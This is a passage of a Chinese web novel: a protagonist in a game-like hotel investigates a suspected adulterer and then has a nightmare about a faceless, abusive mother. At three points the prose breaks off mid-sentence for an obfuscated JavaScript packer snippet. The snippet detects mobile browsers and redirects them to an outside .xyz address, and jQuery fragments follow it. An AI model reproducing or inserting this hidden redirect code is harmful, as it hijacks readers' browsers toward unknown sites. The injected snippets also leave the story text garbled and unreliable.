直觉告诉我,肯定有什么东西藏在水面下,等待玩家,也就是我,去发掘。 刚才看过的那份粗糙无比的资料,只不过是冰山一角罢了。 不过莫莉此举倒是给我提了个醒: 既然那封邮件里,名为W的委托人告诉我,是她的"husband"要和情人在此聚头—— 那目标肯定是个男性! 只要我盯紧两名男士,相信答案很快就会水落石出。 说干就干,眼见他们两人现在还没有要离席的意思,我当即就决定回去找一找有没有窃听器一类的道具,可供我趁两位不在房间里的空当做一些无伤大雅的小布置。 现实世界中这种行为当然是违法的,借我八百个胆子也不敢做。但既然在是游戏世界里,他们又都是NPC,当然是怎么容易完成任务,就怎么来咯。 我再次站起身——这动静惊动了伊丽莎白。她懒懒地抬起眼皮瞥了我一眼,又低下头,接着去织手里的毛衣了。 OK,我当然知道自己这种反复坐下站起的行为很滑稽,就像游戏里的teabag,观感不佳,但是——你管我! 其它人也都在专心用餐,只是时不时去取一下菜品。忽略那则电视新闻的话,倒是平常又温馨。 "Hello?I''mDaisyGreen.MayIknowyourname?(你好?我是黛西·格林。我能知道你的名字吗?)" 我正想抓紧时间溜之大吉,一阵香风却绊住了我的脚步——浅笑盈盈的金发女孩忽然拉开我身侧的椅子,裙子一拢坐下。 她一手托腮,关节支在桌面上,缝缀着层层乌纱的喇叭袖如鲜花般盛开,白瓷似的一截小臂便从中生长而出,像一只认真摆好姿势的精致人偶,好整以暇地等着我的答案。 啧,早不来晚不来,偏偏这个时候来。 我心里噌一下就急得跟热锅上的蚂蚁一样了,偏偏脸上又不能表现出来,只好答道:"Summer.Nicetomeetyou.(盛夏。很高兴见到你。)" 虽然我一向对美丽的事物充满耐心,但现在可不是光靠耐心就能填饱肚子的时候。 妹妹,我不是闲人,我也是要工作的呀! “噢,很美的名字。” 黛西的唇角好像抽动了几个像素点,等我再凝神细看,却又消失了。 我不由眨眨眼——难道我低血糖了? 可我才刚吃完饭。 继而她合掌夸赞,露出来的那只漆黑眼睛亮闪闪的,诡异又真诚地望着我,只是红色的瞳孔仍然慑人得紧。 面对这样一颗瞳孔,我几乎是下意识去避开她径直投来的目光,本能地抗拒和她对视。 但转念一想,谈话的时候不正视对方的眼睛,似乎有些不太礼貌,恐怕会伤她的心吧……于是我又强忍着把视线转回来了。 转回来是转回来了,可是放在哪里好呢? 顺理成章地,视线焦点落到了她正托着脸的那只柔荑上。 甲床是很健康的粉红,修长白皙,骨肉匀停,一根汗毛也没有,戴满了亮闪闪的金属戒指:黑曜石的戒面,有一些小齿轮和机械蝴蝶做点缀,蝶翼甚至好像是可以拨动的,一颤一颤,停在白净的指根上…… 不行,不能再看下去了,再看,我怕我会忍不住跟她要链接。 她的品味真对我的胃口,我也喜欢蒸汽朋克。 不过话又说回来,她无名指上那一圈红痕是什么? 我微微眯起眼,还想再看两眼,却听她已经进入下一个话题:“你是做什么的呢?是模特吗?这身打扮好酷!” 她不会也想跟我要链接吧?这只是很大众的衣服而已,连标签都没有,某宝某多一搜就出—— 等等。 她问我——“做什么的?” 我心下蓦地一惊。 来了来了,该来的还是来了。 该怎么回答呢? 不管怎么回答,首先,“私家侦探”这个答案绝对要排除掉。 脑海中蓦然闪过房间里那堆格格不入的书。我张口正想答话,却突然无端端打了个寒噤。 如果,我是说“如果”—— 在找人的,不是只有我一个。 W……是不是也在找我呢? 4. 计划之外 仅凭一个字母W,我怎么能知道对方是谁? 且不说莱特和沃克名字里就带了"W",就连莫莉的"M"也可以倒过来,这根本无法说明什么。 那么对于W来说也一样:名字里有"S"的,并不只有我一个,伊丽莎白和莫莉的姓氏就是S字母开头的。 如此来看,凭代号认人根本就毫无意义。 “呃,我……我是一名书籍经销商。” 拿定主意后,我急匆匆开口,不想叫黛西觉察出我的异样。 “您知道的,现在书商生意可不好做,我好不容易有个客户想找我订购大量书籍,以填充她的书房,自然得抓紧点儿。” "Yes,you''reright.(是的,你说得对。)" 如旁枝斜逸,另一道声音突然插入我们的话题。 又一阵香风袭来,我顿觉晕头转向——柚木香水原本并不熏人,但此刻我们已经远超社交距离了! 甜蜜浓郁的气味总是自带令人神魂颠倒的氛围感加成呢。 莫莉端着酒杯,十分自然地在我另一侧坐下来,耳垂上两颗硕大的珍珠随着她的动作轻轻晃动。 我刚才竟完全没有注意到她还戴着一对耳环,想必是因为她的美貌太过耀眼,连皮光这么亮的珍珠都显得黯然失色。 “我叫莫莉,您有什么好的书籍推荐吗?我想在度假期间也手不释卷呢。” 明明三个人坐在一模一样的椅子上,偏偏就我坐在坑里,连起来看,活像“凹”字写生—— 肯定是因为我腿特长,所以上身特短。 嗯,一定是这样的。 我说:“您不觉得度假期间,应该专心享受难得的假期吗?只闷在房间里读书,未免也太过无聊了吧?阳光、沙滩、海水、酒吧……那才是您应该——” “你忘了?”莫莉噗嗤一笑,打断我,“现在就算想外出也不行。下午那则新闻,相信大家都看到了吧?” 老天,她笑起来可真够赏心悦目的。托她的福,我一时半会儿还真没想起来这码子事。 “是啊,你真健忘。” 黛西生怕我们冷落她似的,也迫不及待插嘴,但插进来的话不那么好听就是了: “我听说为了给客户介绍卖点,书籍经销商们总是读过许多书的。可你表现得……嗯哼,我想你的业务能力还有待商榷呢。” 不是,我没听错吧?? 这小姑娘竟然阴阳我?! 我什么时候得罪她了?我们才说了不到五句话吧! 我当即就甩头飞了她一眼——果不其然,她嘴角那抹轻蔑的弧度还没来得及抹平呢。 嘿,这黄毛丫头,亏我刚才还对你印象不错!怎么莫莉一来,就突然mean出天际? 难道是想看我在莫莉面前出糗? 思及此,我连忙转向莫莉,对她露出一个既热情又灿烂的笑容。 “您平时喜欢阅读什么类型的书籍呢?是喜欢打发时间的休闲向,还是想要走进一段刻骨铭心的感情呢?” 当务之急是不能让她们对我杜撰出来的身份起疑。 至于黛西莫名其妙挑衅的事,先往后稍稍—— 这可不代表我就忍气吞声了,我迟早会给她点颜色瞧瞧的! “深刻些的吧。”莫莉不假思索,“来点儿比较好理解的名著,最好不要大部头。” 余光瞥见一旁的黛西正似笑非笑,等着看我的笑话,我清了清嗓,决心绝不能让她得逞! “那我向您推荐卡勒德·胡赛尼的《追风筝的人》,篇幅不长,我第一次看的时候,可是哭得死去活来的呢。” “这本书的主题是什么?” 莫莉眸光一顿,双臂打开,上半身缓缓后仰,往椅背一靠,向两边平直地扯了扯嘴角,颇有点皮笑肉不笑的意思。 "Loveandredemption...whoknows.I''msuremostofthesebest-sellingbookshavethiskindofcontent,andI''mnotsurprisedbyit.(爱与救赎……谁知道呢。这些畅销书,想必大多都是这种内容,我都见怪不怪了。)" 还没等我开口回答,冷不防又一道声音强势挤入—— 不知何时,伊丽莎白搬动她的线团和半成品毛衣,给她的屁股挪了个窝,也加入了我们的话题。 她下巴微微向内收着,鼻梁上明明架了老花镜,但却偏偏翻着眼珠、露着下三白,从镜片与眉毛之间的缝隙瞧人。保养得宜的双手灵巧地操着两根棒针来回穿梭,丝毫不妨碍她分出心神来搭话。 这口气也真够倨傲的,她亲自读没读过呢?就说这种话。 再说了,爱与救赎又不是什么掉价的东西,畅销书能畅销,肯定自有其道理。 我眼尖地瞅见黛西立刻撇过了她的脸——也是,这种不伦不类的穿着打扮,有些上了年纪的人是会看不惯。如果伊丽莎白有信仰的话,那就更糟糕了,因为黛西的衣服上绣满了大大小小款式各异的十字架。 刚才黛西已经忍受了好几个来自伊丽莎白的白眼。哈哈,老实说,看她吃瘪我真畅快,甚至都想捂着嘴偷乐了,谁让她刚才下我面子来着? 莫莉倒是对伊丽莎白的加入表现得挺宽和,还很有礼貌地将椅子稍稍往侧后方挪了一圈,让我们四人的坐位形成了谈天说地时常见的圆形阵仗。 但我简直恨不得不管不顾拔腿就跑了——我可还惦记着自己身为侦探要干什么呀! 这下要想脱身可就更难了。 我悄悄瞄了一眼男士那边,那两人现在还没有要走的意思,也在高谈阔论,看起来挺愉快——莱特都笑得花枝乱颤了。 唉,算了,走一步看一步吧。 再说了,“我”有没有带窃听器之类的道具还未可知呢,反正我刚才搜查的时候,快把房间翻个底朝天也没看见。 也许“我”带来的行李箱会有什么隐藏暗格吧。希望如此。我可没信心赤手空拳去跟人家干架。 “……你们年轻人,须知‘生死面前无大事’,到我这个年纪才领悟到这一点,已经太晚了。” 想走也走不掉,我索性把椅子调了个面,黛西见我这么干,也只好心不甘情不愿地照做了——这下我们全变成了伊丽莎白的忠实听众。 然而还不等我再坐下来,她已经开讲了。 果然是做教授的人,一开口,我已经昏昏欲睡。这抑扬顿挫的腔调真是比教师证还更防伪。 “您也不是G市人吧?来这里是要做什么的呢?我母亲应该和您年纪差不多,已经懒得动弹了,更别提出门走两圈。” 与我和黛西不同,莫莉很热络地跟她攀谈起来。 也对。我表面上安静如鸡,脑中却默默开始复盘那份资料: 一个74岁,一个33岁,伊丽莎白的年纪的确足以生下莫莉。 伊丽莎白微微一笑,腰杆一挺,脸上的褶皱仿佛全部得到了舒展,整个人都容光焕发起来——她似乎很享受成为万众瞩目的这一刻,或许这能让她回忆起那些在课堂上滔滔不绝的峥嵘岁月。 “我丈夫上周刚刚去世,我想出来散散心。听说G市风景不错,我的儿子好像也在这儿工作,我就买了机票飞过来了。” “好像”? 我感到自己的两条眉毛,一左一右,同时朝着眉心方向聚拢过来。 她连自己儿子的工作地点都不知道吗? “实在很抱歉,我不是有意提起您的伤心事,请您节哀。” 估计提问者本人也没想到听见的会是这个答案,莫莉一下子内疚起来,忙不迭致歉。我和黛西也跟着说了句“请您节哀”。 “不要紧。”伊丽莎白脸上终于浮现出一抹堪称慈祥的笑容,“到我们这个岁数,早就做好坦然接受结局到来的准备了。” “您能这么想当然好。我倒是很喜欢‘结局’这种说法……” 补救似的,莫莉立刻接上话。她看起来是个不错的聊天对象,总是很贴心地不让对方的话落到地上…… 好机会! 我迅速屈膝,上半身抬起一个微不可察的高度,屁股离椅面不过几厘米,就这么维持着悬空半坐的姿势,小心翼翼地一点一点挪出去。 同时脸上还不忘摆出得体的笑容,这样一旦被截住,马上就能解释自己是要去解决一下内急问题再回来接着听,并非临阵脱逃。 黛西兴致缺缺地打了个哈欠,挪了一下椅子,方便我出去,而后扭着上半身,隔着椅背, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609664|172143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用叉子拨了拨蛋糕上满当当的奶油,把叉子当成勺子那样,舀起顶端的草莓放进口中。 我还借着这个当口瞟了一眼男士们那边——很好,饭后一根烟,快活似神仙,他们已经开始吞云吐雾了。 要不是在游戏里,否则我真想报警把这些在室内吸烟的人都统统抓起来。 “夏,我希望你也能为我推荐一本书。” 我浑身一哆嗦。 被吓的。 原地静止片刻后,心跳才怦咚、怦咚……慢慢恢复了。 随着呼气,我尝试着放松肩膀,一回头——伊丽莎白好端端坐在原位,正笑容可掬地望着我。 一刹那我感觉自己就像一只被压在猫爪下无处可逃的小老鼠—— 众所周知,猫不会马上吃掉猎物,而是一放,又一擒,先慢慢玩,充分享受猎物濒死前的恐惧、痛苦和绝望。 玩够了,再一口吞掉。 而每一条因这笑容挤出来的褶皱中长出一根根触手,伸长了,在半空中狂乱地挥舞着,啪啪向我甩来,无情地攫住我、束缚我、挤压我。 于是所有人投来的目光,一齐冻住了想要偷偷溜走的我—— 我的美梦破灭了。 这和溜号溜到一半被老师抓住有什么区别?! 够了,我说够了,这些人到底想干嘛! 老纠缠着不让人家走有什么意思呢?! “那我推荐您可以读一读蕾切尔·路易丝·斯奈德的《看不见的伤痕》,才出版了没几年,销量很高呢。这两本书我都有,一会儿我就给你们拿来。” 还好我的脑袋瓜子足够机灵,即刻便送上了答案,成功避免了贻笑大方的局面。 然后我对她很勉强地扯了扯嘴角,表明我要因一些个人缘故暂时离席。 这下想不解手也不行了——没看到我刚才是真的喝了一大杯牛奶啊! “噗——咳咳咳……” 我诧异地低头一看,黛西不知道犯了啥子毛病,突然一口牛奶喷了出来——真浪费! 得亏没喷在我身上,不然我跟她没完。 没等我在心中默默吐槽完,黛西一边抬头,幽幽白我一眼,一边接过莫莉递过来的纸巾收拾齐整,道过谢,末了才凉凉道:“来都来了,就请夏小姐也为我推荐一本书吧。” 干嘛用这种令人发毛的表情瞪我?我吃你家大米了?又不是我害你呛到的! 这小姑娘怎么老是要跟我过不去,亏我对你第一印象还那么好……完了。 我余光再次掠过餐桌那头,心中拔凉——那两人都开始起身穿外套了,这下我的计划彻底泡汤了。 对了,其实明天的早餐期间也能……但时间就是金钱懂不懂啊!万一目标今晚就找他的情人做一些不能过审的事情呢?那我岂不是白白错过一个取证机会?!真要命! “格林小姐不用看别的新书,我觉得《傲慢与偏见》就很适合你。”简直不能更适合了! 黛西嘴唇动了动,似乎又说了些什么。然而我根本无暇去听,一把抓起外套就快步走出了餐厅。 来的时候是从房间门口右手边出发的,直直向前走后,再左拐走一段路,就到了餐厅。 那么只要向前走,看到路口就右拐…… 等等。 我浑身一激灵。 宛如电量告罄,与餐厅内的灯火通明不同,走廊里五米一盏的顶灯惨淡无光,脚下暗红色的地毯更是像氧化干涸的片状血迹。 标准的恐怖片场景。 我敢打赌,即使真有血迹残留在地毯上,以我刚才半梦半醒的状态,恐怕也是无法察觉的。 最后,就这么顺着幽暗的走廊,一直走,一直走,直到走入尽头那张黑洞洞的大嘴,变成血迹的一部分。 但是我意识到了有哪里不对劲,并及时停住了脚步—— 脖子上的汗毛已经全部竖起来了,有生命似的一直长进我头皮里。 我抬头,眯起眼睛,在重影中勉强看清了门上的数字。 406。 促使我突然停下脚步的原因有两个。 一是只能左拐的路口。 二是…… 我猛地回头。 避无可避,走廊尽头,果然静静伫立着一道黑影。 5. 杀意顿生 这影子像一道黑洞,无声无息,幽幽地站在那儿,仿佛只有圆圆的头和混沌的身体,我辨认不出那躯干上到底有没有长出手脚。 “你是谁?” 我深吸一口气,朗声质问。 之前已经说过,厚重的地毯吸音性能极佳,因此我才没有第一时间发现此人。 不知道他已经尾随了我多久。 虽然我竭力将自己幻想得很硬气,但短短三个字,都能抖出山路十八弯了。 见鬼!怎么走到406来了? 而且这边的灯为什么比来路暗了那么多? 看来只能先回到餐厅再重新出发了——但这不知是人是鬼的东西堵住了我的去路,这游戏难道还有恐怖元素吗? 我连自己是谁都忘得一干二净,当然不可能记得这款游戏是否有追逐战环节—— 不过话又说回来了,走廊上空空荡荡,也没有柜子让我钻啊? 被BOSS追到会怎么样?游戏失败会怎么样?我会回到起点吗?还能保存这周目掌握到的线索和现有的记忆吗? 我张了张嘴,猛然意识到自己的上下牙正控制不住地打架,手脚也冰凉得僵硬,想逃跑,却半步都挪不开。寒气一阵阵地从脚底板蹿上来,直钻心窝。 我不想玩了。 怎么才能强行退出游戏? 那一瞬间,我脑海中闪过一部非常经典的电影:《盗梦空间》。 强制退出梦境的方法有且只有一种,那就是—— "Miss,areyouokay?DidIscareyou?I''msorry...buttrustme,Imeannoharm.(小姐,您还好吧?我让你感到害怕了吗?很抱歉……但请相信我,我没有恶意。)" 我的眼神已经在四处乱瞟、寻找窗户了,恰在此时,一脸慌乱的男人从尽头处的阴影中现身,朝我的方向走近了几步。 鼻端似乎飘来一股薰衣草的香味,薄如蝉翼。 昏沉沉的朦胧灯光下,一层雾气蒙上了他头上的反抓刘海,好像发胶已经完全干了,不复先前的油亮。 再接着,两颗琥珀色的宝石从黑暗中逐渐浮出,高耸入云的鼻梁下,那双薄唇紧抿成一条线,轮廓坚毅。 我终于狠狠松了一口气,紧捏的拳心慢慢张开—— 是人,而且是个熟人。 “我是沃克·柯林斯,我们刚才在餐厅见过的。这是我的名片。” 沃克旋开钱包上的两枚数字转盘,摁下按钮,从里面取出一张名片递给我。 本能地向下一扫,我注意到他有一双极漂亮的手,骨节分明,指甲长度恰到好处,并不过分把游离缘修剪掉,而是留有余地。 另外,他手掌根部有小部分皮肤呈现薄薄的肉橙色,显然是经常摩擦导致的皮肤增厚,也就是生茧,且两只手都有。 难道是需要经常敲键盘的工作?因为如果只是写字的话,通常仅有拿笔那只手才会出现此种情况。 与刚才在餐厅里的潇洒截然不同,沃克大概也没想到自己会把我吓一大跳,罕见地表现出几分无措来,“我想喊您来着,但不知道您的芳名,还请原谅我的失礼。” “没关系,我叫Summer。柯林斯先生,您找我有什么事吗?” 我接过他递来的名片,低头一看:原来是通信工程师。 坦白说,我真不想给他好脸色——越美丽的东西往往越有毒,别忘了,疑似出轨渣男的大锅还悬在他头顶呐! 但是关键也就在这里:重点嫌疑人之一主动送上来,焉有拒之门外的道理? “是这样的……” 沃克慢慢走上前来,与我保持了一段令人心安的社交距离。 他衬衫袖子挽起,露出爬着青筋的粗壮小臂,双手交握在身前,颇为局促地搓了一下——我这才看清他左手无名指上戴着的那枚闪亮的婚戒。 咦?刚才就餐的时候,他也戴着这枚戒指吗? “我的配偶和你一样,也是黑发黄肤的亚洲人,刚刚看见你,我就一下子想起了我的甜心。我们新婚一周年的纪念日即将来临,我要买些礼物,想问问你是否有好建议?你们来自同一个地方,说不定喜好会有些相似呢。” 啊,原来只是这样而已? 我不禁为自己的草木皆兵感到有些好笑了。 细细询问过他那位恋人平日的喜好后,我列举了几件我认为她可能会感兴趣的东西,顺便祝他们永远甜蜜幸福。 沃克十分专注地听着,末了感激一笑,向我道过谢,然后径直越过我,从胸前的口袋中取出房卡,在405门前一刷。 嘀——门开了。 “那么,祝您晚安。” 沃克对我冁然一笑,在我面前合上了门。 砰! 我猛然回神,眨了眨眼,如梦初醒,发现自己正站在由405房和406房分别所属的墙壁构成的九十度角中间。 说实话,这种高鼻深目的超级大帅哥的确是我喜欢的类型,但是人家结婚了……不对! 脑后霎时劈过一道闪电—— 谁说不对,关键就在这里! 脚下生风,我一边朝来时方向走,一边飞快转动大脑,处理刚获得的信息。 首先,他结婚了,又这么恩爱,这是否代表着,目标不是他? 反之,如果目标是他,无论他所言真实与否,我都获得了一条关乎W的重要信息——她和我一样,同是黑发黑眼黄皮肤的亚洲人。沃克在这一点上没必要说谎。 当然,这也有可能只是他的一面之词——然而如果这种假设变为现实,那么这无疑是个十分危险的信号: 我的私家侦探身份很可能已经暴露,他要么是在试探,要么是在混淆视听。 用穷举法列出如下四种可能性: 一,目标是他,他撒谎了。 这种情况应该可以说是最简单,同时也是最危险的:他不仅知道妻子已经知悉自己出轨一事,还知道妻子找了个私家侦探来调查他。 除了试探,我想不出其它理由,能让他在一个陌生人面前演这场戏。 二,目标是他,他没撒谎。 他们的确很恩爱,沃克突然找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609665|172143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上我寻求建议,也仅仅是出于个人意志,单纯地想要为妻子买礼物、讨她欢心罢了。 恕我直言,这种情况的沃克最渣最可恶!都有老婆了还出轨,这算什么?虽然我的肉|体碰了别人但我的心还爱你?精神没出轨就不算出轨是吧?我呸! 三,目标不是他,他撒谎了。 如果目标不是他,他有什么撒谎的必要?这种假设从根源上就不成立。 四,目标不是他,他没撒谎。 这种情况也没什么好说的,那他就是完完全全的局外人,跟我的游戏任务更是八竿子打不着,直接不去讨论就好了。 再抬头,通往餐厅那扇巨大的燕尾青双开门终于又一次映入眼帘。 我几乎要喜极而泣,快步走过去,一颗心这才落回肚子里。 餐厅同样处在一个90°角附近,右手边是401,左手边才是与它位于同一面墙的402。 真奇怪,我明明是从402的方向来的,刚才却鬼使神差地直直朝前走,途径401离开了。 终于能原路返回了。我感到自己始终紧绷的脊背微微放松,大脑也自动接上刚才断掉的地方继续往下思考。 W是亚洲人,这是非常有用的一条线索。 然而方才在餐厅中,六个人里分明只有我一个亚洲人,这说明什么? 说明W一定乔装打扮过了。 换句话说,谁都有可能是W,包括妖里妖气的莱特,以及讲起课来没完的伊丽莎白。 当然,以上假设必须建立在沃克是目标的情况下。如果他不是,那就得全部推翻。 我煞费苦心推理一番,又兜兜转转回到了原点。 唉,算了,多想无益,我还是按照原计划,密切关注沃克和莱特的动向吧。 当务之急还是要先找些趁手的工具才行。 回到404房后,我干的第一件事就是把那只不大的行李箱(应该只有20寸左右)拎过来,然后动手。 我知道有些皮革或塑料外壳的行李箱,它们的布制内胆是可以拆洗的,只需拉开拉链即可。 但我几乎要把它的每一个零件都拆下来了,也找不到任何类似于窃听器的小玩意儿。 我丢开行李箱,深深吸进一口气—— 这下该怎么办? 一筹莫展之下,我往床上一倒,视线自然上移,对上天花板。 那几行字仍然无动于衷地浮在那儿,纯黑冰冷。 所以我到底该怎么完成任务? 精神一松懈,无尽的疲惫顿时一涌而上。 视野渐渐模糊,我闭上眼,如溺水般,放任意识沉沉坠入黑暗。 …… 雪白的光线过筛般漏入视网膜。我不得不微微眯起眼,待缓过这一阵才完全睁开。 啊,估计是太累,所以不知不觉睡着了。 我睡了有多久? “你,伸手,去把那灯接住。” 是一个女人的声音,听上去十分严厉,用不容置喙的口气道。 我浑身一颤—— 她是怎么潜入我房间的?! 6. 噩梦来袭 我很笃定自己每次进出都好好把房门关上了,甚至还会推推门,再三确认是否关得严实。 环顾四周,沙发、茶几、电视柜、液晶电视……我这才发现自己并未躺在床上,而是站在冰凉的瓷砖上,脚心冻得忍不住蜷缩。 这里好像是一户人家的客厅,不是我在AnyoneHotel的房间。 所以我是在,做梦吗? “喂?叫你接灯听到没有?手伸出来!” 胃部一阵收缩,我第一反应竟是干呕——这女人说话的腔调让我猛然产生了一股极度恶心的感觉。 那个“喂”似乎在她嘴里转了三百六十度,嗓音分明是压低了挤出来,却是用极其尖酸刻薄的语气扬上去的。 更何况我极其厌恶被发号施令。 然而我低头一看,自己的双手竟然不受控制地,做出向上托举的动作。 再一抬头,女人坐在铝合金折叠梯上,正拿着根钢管捅天花板上的吸顶灯,咚咚咚,足有两米宽的灯板被她捣得摇摇欲坠,马上就要掉下来了! “快躲开啊!” 心头一紧,我大声疾呼,同时拼命想向后退。 然而一张嘴,我就愣在了原地—— 明明张开了嘴,我却发不出声音。 更恐怖的是,那双手不仅没退缩,颤颤巍巍地,反而又向上举高了一些。 挡在眼前的小臂像两根铁栏杆,瘦成麻杆状,好似只有薄薄一层皮肤包着骨头,可能还不足食指和拇指合围成的圈粗,看得我心都快碎了。 这样一副营养不良的样子怎么可能接得住那东西?! 不压成肉饼都算不错了! 但不知为何,双腿就是不听使唤,像与大脑断开了连接,愣是杵在原地一动不动,毫无反应。 咚咚咚…… 在持续不断的捣弄之下,沉重的灯板终于脱离了边框的桎梏,裹携着灭顶之势狠狠坠下,似乎能把人拍成肉泥! 啪—— 我本能一闭眼。 气流刮过,脸上一痛。 紧接着,铁锈味一点一点,抓住了嗅觉细胞。 我眼睁睁看着“自己”这双手朝那块火辣辣的皮肤摸了一下,举到眼前。 满手刺目的鲜红。 不出我所料,这双过于瘦弱的手根本无法承受住它的重量。 更何况灯板原先就在高处,加上其本身蕴含的重力势能,冲击力更强,想接住它对于这双手而言更是天方夜谭。 该庆幸“我”还是临阵脱逃了吗?只是依旧躲闪不及。 所以“我”一开始为什么不躲?! 我感到自己心头一股无名火起。 然而很快,我便明白了,为何起初,“我”明明有足够的时间反应,却最终没有那么做—— 啪! 梯子上的女人怒气冲冲下来,抬手便甩了“我”一个清脆的巴掌,“叫你接个灯怎么都做不好!你还能干什么!” 她手劲极大,粗厚的手掌铁蒲扇似的,一巴掌便把“我”打得趔趄,脖子斜着,头都歪了过去,倒退几步,跌坐在地。 “我”已经感受不到痛,只剩一双眼睛,死死盯着女人手上烫眼的血迹,仿佛要将其刺入掌心。 杀了她杀了她杀了她杀了她杀了她杀了她…… 女人转身,匆匆去查看灯板有无损坏。 在她背后,我随着“我”的视线恶狠狠瞪过去,心中怒意顷刻便堆积到了极点,恨不得抓起她的头发就一下下往那块灯板上砸。 你不是喜欢这灯板吗?我让你喜欢、让你喜欢…… 我让你喜欢个够! 然而,视线焦点缓缓一错,移到那女人面孔上时,我却冷不丁起了一身的鸡皮疙瘩—— 肉色的,平整一片,只有骨头在皮肤下凸起的弧度,像一片人皮的丘陵。 原本该是眼睛鼻子嘴巴的地方……什么都没有。 这根本就是一个无面人! 背上阵阵发冷,遍体生凉,眼前的一切忽然出了故障似的,轮廓外浮现道道重影。 我仿佛看见自己心中浓重的恐惧化作实体,毒雾瘴气一般,铺天盖地向我自己脸上笼过来,似乎要把我的五官也腐蚀成那副模样。 “啊!” 我听见自己短促地尖叫一声,撑在地上的双手胡乱摸索着,抓到了什么又冰又硬的东西就劈头盖脸地往女人头上砸去—— 去死去死去死去死去死! “别动手!” 嗯……咦? 这叫声如一道雷劈下来。 我恍惚的神智清醒了一瞬,立时发现自己正双手交握着铁棍,悬在女人头顶上方——只要再往下几厘米,就能像劈西瓜那样,把这颗头颅砸个稀巴烂! 那我为什么不这么做呢? 快把这个该死的女人开瓢!我一刻也忍不了了! 滔天的怒火叫嚣着,我试着挪动手腕,却发现整个人冻成冰雕一样,无论如何拼命挣扎,也无法动上分毫。 “都叫你别动了!” 那道声音似乎无处不在,略带些不耐烦,声线紧紧绷着,伴随着什么哒哒作响的声音,频率极高。 我满腔怒火无处释放,一仰脖,随便朝着哪个角落,一根筋地大吼:“你管我!还不快松开!” “啧,你想气死我吗?净给我添乱,还顶嘴,好好呆着会死啊?!” 出乎意料,胸中郁气在一来一回中消减许多,头脑也随之清醒了不少。 然而那种如附骨之疽的寒意却挥之不去。 我心中烦躁,一低头,却见原本正矮身去捡灯板的女人不知何时已直起腰来,那张没有五官的脸皮径直朝向我—— 如果她有眼睛的话,此刻一定是在直勾勾盯着我瞧吧。 “你不是想杀了我?” 她头颅一歪,然而这动作却丝毫不能让我解读出俏皮的意味,“怎么不动手?” 刚才那一巴掌立刻在我脑中回放了一遍——甚至毋须回放,脸上皮开肉绽的痛感无时无刻不在提醒着刚才发生了什么令我感到恶心屈辱的事。 想要把她脑袋砸个稀烂的欲望再次充斥了我周身每一个细胞,“去死吧你,我一定杀了你!” 我怒不可遏地朝她嘶吼,脸和脖子滚热滚热,血管突突搏动。 不消照镜子,我也知道自己现在面孔扭曲,一定狰狞到了极点。 “那就来啊,朝这儿打!” 女人一步步走近我,手臂高举,指尖直冲头盖骨,一下又一下,挑衅似的戳着自己的顶门心,“生出来一个弑母的白眼狼,我真是白养你这么大了!早知道会是这样,当初还不如不生你!” “什么……” 这话像一道雷劈下来,我震了一震,一时没明白她究竟是什么意思,脚底下便像灌了铅,就这么愣愣看着她一步一步逼近前来,丝毫记不起要躲。 “捂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609666|172143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住耳朵,别听她说话!更别照她说的做!” 那道声音适时响起,猛不丁给我敲响了一道警钟。 我听见背景音里的哒哒声疾风骤雨般又加快了些,连忙按照神秘人的指示双手捂在耳朵上,拼命将注意力从无面女人身上挪开。 然而她见我捂住耳朵,光秃秃的脸上竟然缓缓裂开一道黑洞,左右两端渐渐朝两边提起,弯成月牙,毒汁一般的浓烈恶意几乎要从这条笑样子的血盆大口中满溢而出。 “你看,才没说你几句,又开始不耐烦。住不下去那就滚、蛋、啊!这是我的家!” 她每从牙缝里恶狠狠地挤出来一个字,就推搡我一下,最后竟然高高举起手中一人多高的钢板,劈山似的就照我头上砸下! “我对你真的很失——” “望”字尚未脱口,眼前无面女人的身影却如同被按下暂停键那样猛地僵住。 嗞啦嗞啦…… 仿佛电视机出了故障,女人的上半身和下半身分别朝两个截然相反的方向偏移了几个像素。 许多矩形块不时在她周身闪现又消失,饱和度极高的红、黄、绿、蓝、紫、粉等色块渐渐晕染开来,取代了她本就看不清五官的脸孔。 嘀——咔嚓! 一阵毒钻似的尖锐炸麦声过后,电视画面猛地切断了。 眼前只余一片伸手不见五指的漆黑。 唯一令我感到安慰而不至于在黑暗中自乱阵脚的是,方才那道始终不厌其烦地跟我斗嘴的声音一直嘟嘟囔囔说着些什么。 我直觉那可能是什么重要的信息,连忙竖起耳朵去听—— “多看书、书……你那堆书……图书馆……” 只可惜我们似乎各自身处不同的空间,无论我如何绞尽脑汁去辨认,搜集到的也总是被粉碎、被反反复复溺入水中的拼图块。 耳朵仅仅捕捉到几个零星字眼,但无一不在强调一件东西—— 书? “喝——啊!” 